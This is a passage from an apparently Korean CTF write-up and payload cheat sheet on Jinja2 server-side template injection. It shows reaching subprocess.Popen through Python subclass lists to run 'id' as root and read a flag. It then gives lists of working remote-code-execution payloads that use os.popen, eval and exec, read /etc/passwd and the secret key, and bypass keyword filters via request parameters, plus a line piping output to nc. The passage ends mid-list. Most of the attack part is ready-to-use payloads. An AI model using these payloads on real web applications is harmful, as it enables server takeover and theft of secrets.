'werkzeug.wsgi._RangeWrapper'>, <class 'werkzeug.formparser.FormDataParser'>, <class 'werkzeug.formparser.MultiPartParser'>, <class 'werkzeug.wrappers.base_request.BaseRequest'>, <class 'werkzeug.wrappers.base_response.BaseResponse'>, <class 'werkzeug.wrappers.common_descriptors.CommonRequestDescriptorsMixin'>, <class 'werkzeug.wrappers.common_descriptors.CommonResponseDescriptorsMixin'>, <class 'werkzeug.wrappers.etag.ETagRequestMixin'>, <class 'werkzeug.wrappers.etag.ETagResponseMixin'>, <class 'werkzeug.wrappers.cors.CORSRequestMixin'>, <class 'werkzeug.wrappers.cors.CORSResponseMixin'>, <class 'werkzeug.useragents.UserAgentParser'>, <class 'werkzeug.useragents.UserAgent'>, <class 'werkzeug.wrappers.user_agent.UserAgentMixin'>, <class 'werkzeug.wrappers.request.StreamOnlyMixin'>, <class 'werkzeug.wrappers.response.ResponseStream'>, <class 'werkzeug.wrappers.response.ResponseStreamMixin'>, <class 'http.cookiejar.Cookie'>, <class 'http.cookiejar.CookiePolicy'>, <class 'http.cookiejar.Absent'>, <class 'http.cookiejar.CookieJar'>, <class 'werkzeug.test._TestCookieHeaders'>, <class 'werkzeug.test._TestCookieResponse'>, <class 'werkzeug.test.EnvironBuilder'>, <class 'werkzeug.test.Client'>, <class 'uuid.UUID'>, <class 'itsdangerous._json._CompactJSON'>, <class 'hmac.HMAC'>, <class 'itsdangerous.signer.SigningAlgorithm'>, <class 'itsdangerous.signer.Signer'>, <class 'itsdangerous.serializer.Serializer'>, <class 'itsdangerous.url_safe.URLSafeSerializerMixin'>, <class 'flask._compat._DeprecatedBool'>, <class 'werkzeug.local.Local'>, <class 'werkzeug.local.LocalStack'>, <class 'werkzeug.local.LocalManager'>, <class 'werkzeug.local.LocalProxy'>, <class 'dataclasses._HAS_DEFAULT_FACTORY_CLASS'>, <class 'dataclasses._MISSING_TYPE'>, <class 'dataclasses._FIELD_BASE'>, <class 'dataclasses.InitVar'>, <class 'dataclasses.Field'>, <class 'dataclasses._DataclassParams'>, <class 'difflib.SequenceMatcher'>, <class 'difflib.Differ'>, <class 'difflib.HtmlDiff'>, <class 'werkzeug.routing.RuleFactory'>, <class 'werkzeug.routing.RuleTemplate'>, <class 'werkzeug.routing.BaseConverter'>, <class 'werkzeug.routing.Map'>, <class 'werkzeug.routing.MapAdapter'>, <class 'flask.signals.Namespace'>, <class 'flask.signals._FakeSignal'>, <class 'flask.helpers.locked_cached_property'>, <class 'flask.helpers._PackageBoundObject'>, <class 'flask.cli.DispatchingApp'>, <class 'flask.cli.ScriptInfo'>, <class 'flask.config.ConfigAttribute'>, <class 'flask.ctx._AppCtxGlobals'>, <class 'flask.ctx.AppContext'>, <class 'flask.ctx.RequestContext'>, <class 'flask.json.tag.JSONTag'>, <class 'flask.json.tag.TaggedJSONSerializer'>, <class 'flask.sessions.SessionInterface'>, <class 'werkzeug.wrappers.json._JSONModule'>, <class 'werkzeug.wrappers.json.JSONMixin'>, <class 'flask.blueprints.BlueprintSetupState'>, <class 'jinja2.ext.Extension'>, <class 'jinja2.ext._CommentFinder'>]
    {{ ''.__class__.__mro__[1].__subclasses__()[245:] }}
    #[<class 'subprocess.Popen'>, <class 'platform._Processor'>, <class '_struct.Struct'>, <class '_struct.unpack_iterator'>, <class 'unicodedata.UCD'>, <class '_pydevd_bundle.pydevd_constants.DebugInfoHolder'>, <class '_pydevd_bundle.pydevd_vm_type.PydevdVmType'>, <class 'selectors.BaseSelector'>, <class '_socket.socket'>, <class 'datetime.date'>, <class 'datetime.time'>, <class 'datetime.timedelta'>, <class 'datetime.tzinfo'>, <class 'decimal.Decimal'>, <class 'decimal.Context'>, <class 'decimal.SignalDictMixin'>, <class 'decimal.ContextManager'>, <class 'numbers.Number'>, <class 'email.charset.Charset'>, <class 'email.header.Header'>, <class 'email.header._ValueFormatter'>, <class '_random.Random'>, <class '_sha512.sha384'>, <class '_sha512.sha512'>, <class 'urllib.parse._ResultMixinStr'>, <class 'urllib.parse._ResultMixinBytes'>, <class 'urllib.parse._NetlocResultMixinBase'>, <class 'calendar._localized_month'>, <class 'calendar._localized_day'>, <class 'calendar.Calendar'>, <class 'calendar.different_locale'>, <class 'email._parseaddr.AddrlistClass'>, <class 'email._policybase._PolicyBase'>, <class 'email.feedparser.BufferedSubFile'>, <class 'email.feedparser.FeedParser'>, <class 'email.parser.Parser'>, <class 'email.parser.BytesParser'>, <class 'email.message.Message'>, <class 'http.client.HTTPConnection'>, <class '_ssl._SSLContext'>, <class '_ssl._SSLSocket'>, <class '_ssl.MemoryBIO'>, <class '_ssl.Session'>, <class 'ssl.SSLObject'>, <class 'pyexpat.xmlparser'>, <class 'zlib.Compress'>, <class 'zlib.Decompress'>, <class 'gzip._PaddedFile'>, <class 'xmlrpc.client.DateTime'>, <class 'xmlrpc.client.Binary'>, <class 'xmlrpc.client.ExpatParser'>, <class 'xmlrpc.client.Marshaller'>, <class 'xmlrpc.client.Unmarshaller'>, <class 'xmlrpc.client._MultiCallMethod'>, <class 'xmlrpc.client.MultiCallIterator'>, <class 'xmlrpc.client.MultiCall'>, <class 'xmlrpc.client._Method'>, <class 'xmlrpc.client.Transport'>, <class 'xmlrpc.client.ServerProxy'>, <class 'mimetypes.MimeTypes'>, <class '_bz2.BZ2Compressor'>, <class '_bz2.BZ2Decompressor'>, <class '_lzma.LZMACompressor'>, <class '_lzma.LZMADecompressor'>, <class 'socketserver.BaseServer'>, <class 'socketserver._NoThreads'>, <class 'socketserver.ThreadingMixIn'>, <class 'socketserver.BaseRequestHandler'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class 'pydoc.Doc'>, <class 'pydoc.Helper'>, <class 'pydoc.ModuleScanner'>, <class 'xmlrpc.server.SimpleXMLRPCDispatcher'>, <class 'xmlrpc.server.XMLRPCDocGenerator'>, <class '_pydevd_bundle.pydevd_constants.ForkSafeLock'>, <class '_pydevd_bundle.pydevd_constants.Null'>, <class '_pydevd_bundle.pydevd_constants.KeyifyList'>, <class '_pydevd_bundle.pydevd_constants._GlobalSettings'>, <class '_pydevd_bundle.pydevd_constants.GlobalDebuggerHolder'>, <class 'zipfile.ZipInfo'>, <class 'zipfile.LZMACompressor'>, <class 'zipfile.LZMADecompressor'>, <class 'zipfile._SharedFile'>, <class 'zipfile._Tellable'>, <class 'zipfile.ZipFile'>, <class 'zipfile.Path'>, <class 'plistlib.UID'>, <class 'plistlib._PlistParser'>, <class 'plistlib._DumbXMLWriter'>, <class 'plistlib._BinaryPlistParser'>, <class 'plistlib._BinaryPlistWriter'>, <class 'tempfile._RandomNameSequence'>, <class 'tempfile._TemporaryFileCloser'>, <class 'tempfile._TemporaryFileWrapper'>, <class 'tempfile.SpooledTemporaryFile'>, <class 'tempfile.TemporaryDirectory'>, <class 'textwrap.TextWrapper'>, <class 'pkg_resources.extern.VendorImporter'>, <class 'pkg_resources._vendor.appdirs.AppDirs'>, <class 'PyHANDLE'>, <class 'PyOVERLAPPED'>, <class 'PyDEVMODEA'>, <class 'PyDEVMODEW'>, <class 'PyWAVEFORMATEX'>, <class 'PyIID'>, <class 'PySECURITY_DESCRIPTOR'>, <class 'PySECURITY_ATTRIBUTES'>, <class 'PySID'>, <class 'PyACL'>, <class 'PyDISPLAY_DEVICE'>, <class 'interface-type'>, <class 'PyOleEmpty'>, <class 'PyOleMissing'>, <class 'ArgNotFound'>, <class 'PyOleNothing'>, <class 'PyFUNCDESC'>, <class 'PySTGMEDIUM'>, <class 'PyTYPEATTR'>, <class 'PyVARDESC'>, <class 'com_record'>, <class 'pkg_resources.extern.packaging._structures.InfinityType'>, <class 'pkg_resources.extern.packaging._structures.NegativeInfinityType'>, <class 'pkg_resources.extern.packaging.version._BaseVersion'>, <class 'pkg_resources.extern.packaging.specifiers.BaseSpecifier'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class 'pkg_resources._vendor.pyparsing._Constants'>, <class 'pkg_resources._vendor.pyparsing._ParseResultsWithOffset'>, <class 'pkg_resources._vendor.pyparsing.ParseResults'>, <class 'pkg_resources._vendor.pyparsing.ParserElement._UnboundedCache'>, <class 'pkg_resources._vendor.pyparsing.ParserElement._FifoCache'>, <class 'pkg_resources._vendor.pyparsing.ParserElement'>, <class 'pkg_resources._vendor.pyparsing._NullToken'>, <class 'pkg_resources._vendor.pyparsing.OnlyOnce'>, <class 'pkg_resources._vendor.pyparsing.pyparsing_common'>, <class 'pkg_resources.extern.packaging.markers.Node'>, <class 'pkg_resources.extern.packaging.markers.Undefined'>, <class 'pkg_resources.extern.packaging.markers.Marker'>, <class 'pkg_resources.extern.packaging.requirements.Requirement'>, <class 'pkg_resources.IMetadataProvider'>, <class 'pkg_resources.WorkingSet'>, <class 'pkg_resources.Environment'>, <class 'pkg_resources.ResourceManager'>, <class 'pkg_resources.NullProvider'>, <class 'pkg_resources.NoDists'>, <class 'pkg_resources.EntryPoint'>, <class 'pkg_resources.Distribution'>, <class '_pydev_bundle.pydev_log._LoggingGlobals'>, <class 'CArgObject'>, <class '_ctypes.CThunkObject'>, <class '_ctypes._CData'>, <class '_ctypes.CField'>, <class '_ctypes.DictRemover'>, <class '_ctypes.StructParam_Type'>, <class 'ctypes.CDLL'>, <class 'ctypes.LibraryLoader'>, <class '_pydevd_bundle.pydevd_extension_utils.ExtensionManager'>, <class '_pydevd_bundle.pydevd_frame_utils.Frame'>, <class '_pydevd_bundle.pydevd_frame_utils.FCode'>, <class '_pydevd_bundle.pydevd_frame_utils.FramesList'>, <class '_pydevd_bundle.pydevd_frame_utils._DummyFrameWrapper'>, <class '_pydevd_bundle.pydevd_filtering.FilesFiltering'>, <class '_pydevd_bundle.pydevd_io.IORedirector'>, <class '_pydevd_bundle.pydevd_io.RedirectToPyDBIoMessages'>, <class '_pydevd_bundle.pydevd_io.IOBuf'>, <class '_pydevd_bundle.pydevd_io._RedirectInfo'>, <class '_pydevd_bundle.pydevd_io._RedirectionsHolder'>, <class '_pydevd_bundle.pydevd_utils.ScopeRequest'>, <class '_pydevd_bundle.pydevd_utils.DAPGrouper'>, <class '_pickle.Pdata'>, <class '_pickle.PicklerMemoProxy'>, <class '_pickle.UnpicklerMemoProxy'>, <class '_pickle.Pickler'>, <class '_pickle.Unpickler'>, <class 'pickle._Framer'>, <class 'pickle._Unframer'>, <class 'pickle._Pickler'>, <class 'pickle._Unpickler'>, <class '_pydevd_bundle.pydevd_safe_repr.SafeRepr'>, <class '_pydevd_bundle.pydevd_resolver.DefaultResolver'>, <class '_pydevd_bundle.pydevd_resolver.DAPGrouperResolver'>, <class '_pydevd_bundle.pydevd_resolver.DictResolver'>, <class '_pydevd_bundle.pydevd_resolver.TupleResolver'>, <class '_pydevd_bundle.pydevd_resolver.SetResolver'>, <class '_pydevd_bundle.pydevd_resolver.InstanceResolver'>, <class '_pydevd_bundle.pydevd_resolver.JyArrayResolver'>, <class '_pydevd_bundle.pydevd_resolver.FrameResolver'>, <class '_pydevd_bundle.pydevd_resolver.InspectStub'>, <class '_pydevd_bundle.pydevd_extension_api._AbstractResolver'>, <class '_pydevd_bundle.pydevd_extension_api._AbstractProvider'>, <class '_pydevd_bundle.pydevd_extension_api.DebuggerEventHandler'>, <class '_pydevd_bundle.pydevd_xml.ExceptionOnEvaluate'>, <class '_pydevd_bundle.pydevd_xml.TypeResolveHandler'>, <class '_pydevd_frame_eval.vendored.bytecode.instr.SetLineno'>, <class '_pydevd_frame_eval.vendored.bytecode.instr.Label'>, <class '_pydevd_frame_eval.vendored.bytecode.instr._Variable'>, <class '_pydevd_frame_eval.vendored.bytecode.instr.Instr'>, <class '_pydevd_frame_eval.vendored.bytecode.bytecode.BaseBytecode'>, <class '_pydevd_frame_eval.vendored.bytecode.concrete._ConvertBytecodeToConcrete'>, <class '_pydevd_bundle.pydevd_bytecode_utils.Target'>, <class '_pydevd_bundle.pydevd_bytecode_utils._TargetIdHashable'>, <class '_pydevd_bundle.pydevd_bytecode_utils._StackInterpreter'>, <class '_pydevd_bundle.pydevd_bytecode_utils.Variant'>, <class '_pydevd_bundle.pydevd_frame._TryExceptContainerObj'>, <class '_pydevd_bundle.pydevd_frame.PyDBFrame'>, <class '_pydevd_bundle.pydevd_additional_thread_info_regular.PyDBAdditionalThreadInfo'>, <class '_pydevd_bundle.pydevd_defaults.PydevdCustomization'>, <class '_pydev_bundle.pydev_monkey._NewThreadStartupWithTrace'>, <class '_pydev_bundle.pydev_monkey._NewThreadStartupWithoutTrace'>, <class 'pydevd_tracing.TracingFunctionHolder'>, <class '_pydevd_bundle.pydevd_timeout._OnTimeoutHandle'>, <class '_pydevd_bundle.pydevd_timeout.TimeoutTracker'>, <class '_pydev_bundle.pydev_console_utils.BaseStdIn'>, <class '_pydev_bundle.pydev_console_utils.CodeFragment'>, <class '_pydev_bundle.pydev_console_utils.BaseInterpreterInterface'>, <class '_pydev_bundle.pydev_console_utils.FakeFrame'>, <class '_pydevd_bundle.pydevd_breakpoints.ExceptionBreakpoint'>, <class '_pydevd_bundle.pydevd_breakpoints.LineBreakpoint'>, <class '_pydevd_bundle.pydevd_custom_frames.CustomFramesContainer'>, <class '_pydevd_bundle.pydevd_custom_frames.CustomFrame'>, <class '_pydevd_bundle.pydevd_net_command._BaseNetCommand'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pydevconsole.Command'>, <class '_pydev_bundle.pydev_umd.UserModuleDeleter'>, <class 'pydevconsole._ProcessExecQueueHelper'>, <class '_pydev_bundle._pydev_completer._StartsWithFilter'>, <class '_pydev_bundle._pydev_completer.Completer'>, <class '_pydevd_bundle.pydevd_net_command_factory_xml.NetCommandFactory'>, <class '_pydevd_bundle.pydevd_trace_dispatch_regular.TopLevelThreadTracerOnlyUnhandledExceptions'>, <class '_pydevd_bundle.pydevd_trace_dispatch_regular.TopLevelThreadTracerNoBackFrame'>, <class '_pydevd_bundle.pydevd_trace_dispatch_regular.ThreadTracer'>, <class '_pydevd_bundle.pydevd_source_mapping.SourceMappingEntry'>, <class '_pydevd_bundle.pydevd_source_mapping.SourceMapping'>, <class 'pydevd_concurrency_analyser.pydevd_thread_wrappers.ObjectWrapper'>, <class 'pydevd_concurrency_analyser.pydevd_concurrency_logger.ThreadingLogger'>, <class 'pydevd_concurrency_analyser.pydevd_concurrency_logger.NameManager'>, <class 'pydevd_concurrency_analyser.pydevd_concurrency_logger.AsyncioLogger'>, <class '_pydevd_bundle._debug_adapter.pydevd_base_schema.BaseSchema'>, <class '_pydevd_bundle.pydevd_reload.Reload'>, <class '_pydev_bundle.fsnotify._SingleVisitInfo'>, <class '_pydev_bundle.fsnotify._PathWatcher'>, <class '_pydev_bundle.fsnotify.Watcher'>, <class '_pydevd_bundle.pydevd_console.ConsoleMessage'>, <class '_pydevd_bundle.pydevd_console.InteractiveConsoleCache'>, <class '_pydevd_bundle.pydevd_comm.InternalThreadCommand'>, <class '_pydevd_bundle.pydevd_net_command_factory_json.ModulesManager'>, <class '_pydevd_bundle.pydevd_collect_bytecode_info.TryExceptInfo'>, <class '_pydevd_bundle.pydevd_collect_bytecode_info.ReturnInfo'>, <class '_pydevd_bundle.pydevd_collect_bytecode_info._TargetInfo'>, <class '_pydevd_bundle.pydevd_collect_bytecode_info._MsgPart'>, <class '_pydevd_bundle.pydevd_collect_bytecode_info._Disassembler'>, <class '_pydevd_bundle.pydevd_api.PyDevdAPI.VariablePresentation'>, <class '_pydevd_bundle.pydevd_api.PyDevdAPI._DummyFrame._DummyCode'>, <class '_pydevd_bundle.pydevd_api.PyDevdAPI._DummyFrame'>, <class '_pydevd_bundle.pydevd_api.PyDevdAPI._AddBreakpointResult'>, <class '_pydevd_bundle.pydevd_api.PyDevdAPI'>, <class '_pydevd_bundle.pydevd_json_debug_options.DebugOptions'>, <class '_pydevd_bundle.pydevd_process_net_command_json.IDMap'>, <class '_pydevd_bundle.pydevd_process_net_command_json.PyDevJsonCommandProcessor'>, <class '_pydevd_bundle.pydevd_traceproperty.DebugProperty'>, <class '_pydevd_bundle.pydevd_process_net_command._PyDevCommandProcessor'>, <class '_pydevd_bundle.pydevd_suspended_frames._AbstractVariable'>, <class '_pydevd_bundle.pydevd_suspended_frames._FramesTracker'>, <class '_pydevd_bundle.pydevd_suspended_frames.SuspendedFramesManager'>, <class 'pydevd_plugins.django_debug.DjangoTemplateFrame'>, <class 'pydevd_plugins.django_debug.DjangoTemplateSyntaxErrorFrame'>, <class 'pydevd_plugins.jinja2_debug.Jinja2TemplateFrame'>, <class 'pydevd_plugins.jinja2_debug.Jinja2TemplateSyntaxErrorFrame'>, <class '_pydevd_bundle.pydevd_plugin_utils.PluginManager'>, <class 'pydevd.AbstractSingleNotificationBehavior'>, <class 'pydevd._Authentication'>, <class 'pydevd.PyDB'>, <class 'pydevd.IDAPMessagesListener'>, <class 'pydevd.Dispatcher'>, <class 'pydevd.SetupHolder'>, <class 'pydevd_plugins.extensions.types.pydevd_plugin_numpy_types.NdArrayResolver'>, <class 'pydevd_plugins.extensions.types.pydevd_plugin_numpy_types.NdArrayItemsContainer'>, <class 'pydevd_plugins.extensions.types.pydevd_plugin_numpy_types.NDArrayTypeResolveProvider'>, <class 'pydevd_plugins.extensions.types.pydevd_plugins_django_form_str.DjangoFormStr'>, <class 'debugpy.common.util.Observable'>, <class 'debugpy.common.log.LogFile'>, <class 'debugpy.common.log.NoLog'>, <class 'debugpy.server.cli.Options'>, <class '_pydev_bundle.pydev_monkey.patch_thread_module.<locals>.ClassWithPydevStartNewThread'>, <class '_pydev_bundle.pydev_monkey.patch_thread_module.<locals>.ClassWithPydevStartNewThread'>, <class 'markupsafe._MarkupEscapeHelper'>, <class '_hashlib.HASH'>, <class '_hashlib.HMAC'>, <class '_blake2.blake2b'>, <class '_blake2.blake2s'>, <class 'jinja2.utils.MissingType'>, <class 'jinja2.utils.LRUCache'>, <class 'jinja2.utils.Cycler'>, <class 'jinja2.utils.Joiner'>, <class 'jinja2.utils.Namespace'>, <class 'jinja2.bccache.Bucket'>, <class 'jinja2.bccache.BytecodeCache'>, <class 'jinja2.nodes.EvalContext'>, <class 'jinja2.nodes.Node'>, <class 'jinja2.visitor.NodeVisitor'>, <class 'jinja2.idtracking.Symbols'>, <class 'jinja2.compiler.MacroRef'>, <class 'jinja2.compiler.Frame'>, <class 'jinja2.runtime.TemplateReference'>, <class 'jinja2.runtime.Context'>, <class 'jinja2.runtime.BlockReference'>, <class 'jinja2.runtime.LoopContext'>, <class 'jinja2.runtime.Macro'>, <class 'jinja2.runtime.Undefined'>, <class 'jinja2.lexer.Failure'>, <class 'jinja2.lexer.TokenStreamIterator'>, <class 'jinja2.lexer.TokenStream'>, <class 'jinja2.lexer.Lexer'>, <class 'jinja2.parser.Parser'>, <class 'jinja2.environment.Environment'>, <class 'jinja2.environment.Template'>, <class 'jinja2.environment.TemplateModule'>, <class 'jinja2.environment.TemplateExpression'>, <class 'jinja2.environment.TemplateStream'>, <class 'jinja2.loaders.BaseLoader'>, <class 'logging.LogRecord'>, <class 'logging.PercentStyle'>, <class 'logging.Formatter'>, <class 'logging.BufferingFormatter'>, <class 'logging.Filter'>, <class 'logging.Filterer'>, <class 'logging.PlaceHolder'>, <class 'logging.Manager'>, <class 'logging.LoggerAdapter'>, <class 'werkzeug._internal._Missing'>, <class 'werkzeug._internal._DictAccessorProperty'>, <class 'werkzeug.utils.HTMLBuilder'>, <class 'werkzeug.exceptions.Aborter'>, <class 'werkzeug.urls.Href'>, <class 'click._compat._FixupStream'>, <class 'click._compat._AtomicFile'>, <class 'click._winconsole.ConsoleStream'>, <class 'click._winconsole.WindowsChunkedWriter'>, <class 'colorama.ansi.AnsiCodes'>, <class 'colorama.ansi.AnsiCursor'>, <class 'colorama.winterm.WinColor'>, <class 'colorama.winterm.WinStyle'>, <class 'colorama.winterm.WinTerm'>, <class 'colorama.ansitowin32.StreamWrapper'>, <class 'colorama.ansitowin32.AnsiToWin32'>, <class 'click.utils.LazyFile'>, <class 'click.utils.KeepOpenFile'>, <class 'click.utils.PacifyFlushWrapper'>, <class 'click.parser.Option'>, <class 'click.parser.Argument'>, <class 'click.parser.ParsingState'>, <class 'click.parser.OptionParser'>, <class 'click.types.ParamType'>, <class 'click.formatting.HelpFormatter'>, <class 'click.core.Context'>, <class 'click.core.BaseCommand'>, <class 'click.core.Parameter'>, <class 'werkzeug.serving.ForkingMixIn'>, <class 'werkzeug.serving.WSGIRequestHandler'>, <class 'werkzeug.serving._SSLContext'>, <class 'werkzeug.serving.BaseWSGIServer'>, <class 'werkzeug.datastructures.ImmutableListMixin'>, <class 'werkzeug.datastructures.ImmutableDictMixin'>, <class 'werkzeug.datastructures.UpdateDictMixin'>, <class 'werkzeug.datastructures.ViewItems'>, <class 'werkzeug.datastructures._omd_bucket'>, <class 'werkzeug.datastructures.Headers'>, <class 'werkzeug.datastructures.ImmutableHeadersMixin'>, <class 'werkzeug.datastructures.IfRange'>, <class 'werkzeug.datastructures.Range'>, <class 'werkzeug.datastructures.ContentRange'>, <class 'werkzeug.datastructures.FileStorage'>, <class 'urllib.request.Request'>, <class 'urllib.request.OpenerDirector'>, <class 'urllib.request.BaseHandler'>, <class 'urllib.request.HTTPPasswordMgr'>, <class 'urllib.request.AbstractBasicAuthHandler'>, <class 'urllib.request.AbstractDigestAuthHandler'>, <class 'urllib.request.URLopener'>, <class 'urllib.request.ftpwrapper'>, <class 'werkzeug.wrappers.accept.AcceptMixin'>, <class 'werkzeug.wrappers.auth.AuthorizationMixin'>, <class 'werkzeug.wrappers.auth.WWWAuthenticateMixin'>, <class 'werkzeug.wsgi.ClosingIterator'>, <class 'werkzeug.wsgi.FileWrapper'>, <class 'werkzeug.wsgi._RangeWrapper'>, <class 'werkzeug.formparser.FormDataParser'>, <class 'werkzeug.formparser.MultiPartParser'>, <class 'werkzeug.wrappers.base_request.BaseRequest'>, <class 'werkzeug.wrappers.base_response.BaseResponse'>, <class 'werkzeug.wrappers.common_descriptors.CommonRequestDescriptorsMixin'>, <class 'werkzeug.wrappers.common_descriptors.CommonResponseDescriptorsMixin'>, <class 'werkzeug.wrappers.etag.ETagRequestMixin'>, <class 'werkzeug.wrappers.etag.ETagResponseMixin'>, <class 'werkzeug.wrappers.cors.CORSRequestMixin'>, <class 'werkzeug.wrappers.cors.CORSResponseMixin'>, <class 'werkzeug.useragents.UserAgentParser'>, <class 'werkzeug.useragents.UserAgent'>, <class 'werkzeug.wrappers.user_agent.UserAgentMixin'>, <class 'werkzeug.wrappers.request.StreamOnlyMixin'>, <class 'werkzeug.wrappers.response.ResponseStream'>, <class 'werkzeug.wrappers.response.ResponseStreamMixin'>, <class 'http.cookiejar.Cookie'>, <class 'http.cookiejar.CookiePolicy'>, <class 'http.cookiejar.Absent'>, <class 'http.cookiejar.CookieJar'>, <class 'werkzeug.test._TestCookieHeaders'>, <class 'werkzeug.test._TestCookieResponse'>, <class 'werkzeug.test.EnvironBuilder'>, <class 'werkzeug.test.Client'>, <class 'uuid.UUID'>, <class 'itsdangerous._json._CompactJSON'>, <class 'hmac.HMAC'>, <class 'itsdangerous.signer.SigningAlgorithm'>, <class 'itsdangerous.signer.Signer'>, <class 'itsdangerous.serializer.Serializer'>, <class 'itsdangerous.url_safe.URLSafeSerializerMixin'>, <class 'flask._compat._DeprecatedBool'>, <class 'werkzeug.local.Local'>, <class 'werkzeug.local.LocalStack'>, <class 'werkzeug.local.LocalManager'>, <class 'werkzeug.local.LocalProxy'>, <class 'dataclasses._HAS_DEFAULT_FACTORY_CLASS'>, <class 'dataclasses._MISSING_TYPE'>, <class 'dataclasses._FIELD_BASE'>, <class 'dataclasses.InitVar'>, <class 'dataclasses.Field'>, <class 'dataclasses._DataclassParams'>, <class 'difflib.SequenceMatcher'>, <class 'difflib.Differ'>, <class 'difflib.HtmlDiff'>, <class 'werkzeug.routing.RuleFactory'>, <class 'werkzeug.routing.RuleTemplate'>, <class 'werkzeug.routing.BaseConverter'>, <class 'werkzeug.routing.Map'>, <class 'werkzeug.routing.MapAdapter'>, <class 'flask.signals.Namespace'>, <class 'flask.signals._FakeSignal'>, <class 'flask.helpers.locked_cached_property'>, <class 'flask.helpers._PackageBoundObject'>, <class 'flask.cli.DispatchingApp'>, <class 'flask.cli.ScriptInfo'>, <class 'flask.config.ConfigAttribute'>, <class 'flask.ctx._AppCtxGlobals'>, <class 'flask.ctx.AppContext'>, <class 'flask.ctx.RequestContext'>, <class 'flask.json.tag.JSONTag'>, <class 'flask.json.tag.TaggedJSONSerializer'>, <class 'flask.sessions.SessionInterface'>, <class 'werkzeug.wrappers.json._JSONModule'>, <class 'werkzeug.wrappers.json.JSONMixin'>, <class 'flask.blueprints.BlueprintSetupState'>, <class 'jinja2.ext.Extension'>, <class 'jinja2.ext._CommentFinder'>]
    {{ ''.__class__.__mro__[1].__subclasses__()[245] }}
    #<class 'subprocess.Popen'>
    {{ ''.__class__.__mro__[1].__subclasses__()[245]('id',shell=True,stdout=-1).communicate() }}
    #uid=0(root) gid=0(root) groups=0(root)
    {{ ''.__class__.__mro__[1].__subclasses__()[245]('cat flag',shell=True,stdout=-1).communicate() }}
    #FLAG{Wargame_SSTI_Problem}
    

    {{ ''.__class__.__mro__[1].__subclasses__()[245] }} 해당 페이로드에 있는 [245] 부분은 쉘 명령어를 실행할 수 있는 subprocess.Popen 클래스를 찾기 위해 리스트로 접근했는데

    [] 안에 들어가는 숫자는 서버 환경에 따라 달라지기 때문에 subprocess.Popen 클래스를 찾아 해당 요소의 인덱스를 넣어주면 됩니다.

    만약 결과 값을 볼 수 없는 경우 시간 지연을 이용하여 ssti 취약점이 먹히는지 확인한 다음 nc를 이용하여 쉘에 연결할 수 있는 방법도 존재합니다.

    Jinja2 Payloads

    {{ 7*7 }}
    {{ config }}
    {{ config.items() }}
    {{ config['secret_key'] }}
    {{ ''.__class__.__mro__[1].__subclasses__()[407]('cat flag', shell=True, stdout=-1).communicate() }}
    {{ ''|attr('__class__')|attr('__mro__')[1]|attr('__subclasses__')()[407]('cat flag', shell=True, stdout=-1)|attr('communicate')() }}
    {{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
    {{ (config|attr("__class__")).__init__.__globals__['os'].popen('cat flag').read() }}
    {{request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('os')|attr('popen')('id')|attr('read')()}}
    {{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
    {{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
    {{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
    {{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}
    {{get_flashed_messages.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")}}
    {{ url_for.__globals__.__builtins__.eval('__import__("os").popen("ls").read()') }}
    

    Jinja2 Short Payloads

    
    {{ config.update(a=request.args.a) }} # Payload in config.a
    {{ url_for.__globals__.os.popen(config.a) }}
    
    {{ lipsum.__globals__.os.popen('id') }}
    {{ joiner.__init__.__globals__.os.popen('id') }}
    {{ namesapce.__init__.__globals__.os.popen('id') }}
    {{ dict.__init__.__globals__.os.popen('id') }}
    {{ range.__init__.__globals__.os.popen('id') }}
    {{ cycler.__init__.__globals__.os.popen('id') }}
    {{ request.__init__.__globals__.__builtins__.open('/etc/passwd').read() }}
    {{ request.__init__.__globals__.__builtins__.exec(request.args.a) }}
    {{ request.__init__.__globals__.__builtins__.eval(request.args.a) }}
    {{ request.application.__globals__.__builtins__.open(request.args.a) }}
    {{ self.__init__.__globals__.__builtins__.open(request.args.a) }}
    {{ self.__init__.__globals__.__builtins__.eval(request.args.a) }}
    {{ get_flashed_messages.__globals__.os.popen(request.args.a }}
    {{ config.__init__.__globals__.os.popen(request.args.a) }}
    
    
    • request

      만약 특정 키워드를 막지만 request 객체 사용을 막지 않는 경우 request.args, request.cookies, request.headers, request.form를 이용하여 키워드를 쉽게 우회할 수 있는 방법이 있습니다.

        http://127.0.0.1:8080/?ssti={{ request|attr(request.args.get('class')|attr(request.args.get('mro'))|attr(request.args.get('getitem'))(1) }}&class=__class__&mro=__mro__&getitem=__getitem__
        http://127.0.0.1:8080?ssti={{ request|attr(request.form.get('class'))|attr(request.form.get('mro'))|attr(request.form.get('getitem'))(1) }}
        http://127.0.0.1:8080?ssti={{ request|attr(request.cookies.get('class'))|attr(request.cookies.get('mro'))|attr(request.cookies.get('getitem'))(1) }}
        http://127.0.0.1:8080?ssti={{ request|attr(request.headers.get('class'))|attr(request.headers.get('mro'))|attr(request.headers.get('getitem'))(1) }}
      

    Jinja2 Teamplte Injection Bypass


    대부분의 우회 방법은 ''.__class__.__mro__.__subclasses__와 같은 방법으로 예시를 들겠습니다.


    페이로드 만들거나 우회 방법


    • 쉘 실행

      대부분의 Python Jinja2 페이로드를 살펴보면 ''.__class__.__mro__[1].__subclasses__()[345]('ls', shell=True, stdout=-1).communicate()

      이런 식으로 __class__, __mro__, __subclasses__를 사용하여 ls를 실행하는 페이로드를 많이 보셨을겁니다

      하지만 커멘드를 실행하기 위해서는 꼭 해당 __class__ 메서드를 호출해야되는것은 아닙니다.

      만약 python을 잘 알고 있다면 다양한 메서드를 이용하여 subprocess.Popen Class 말고도 __import__를 가져와 os 모듈을 import 하여 os.system을 실행 시키거나

      eval 함수를 가져와 python 코드를 실행할 수 있습니다.

      • __import__를 이용하여 모듈 import

          {{ request.application.__globals__.__builtins__.__import__['os'].system('ls | nc 127.0.0.1 8080') }}
        
      • ''.__class__.__mro__[1].__subclasses__() class 리스트를 출력하여 원하는 class 실행

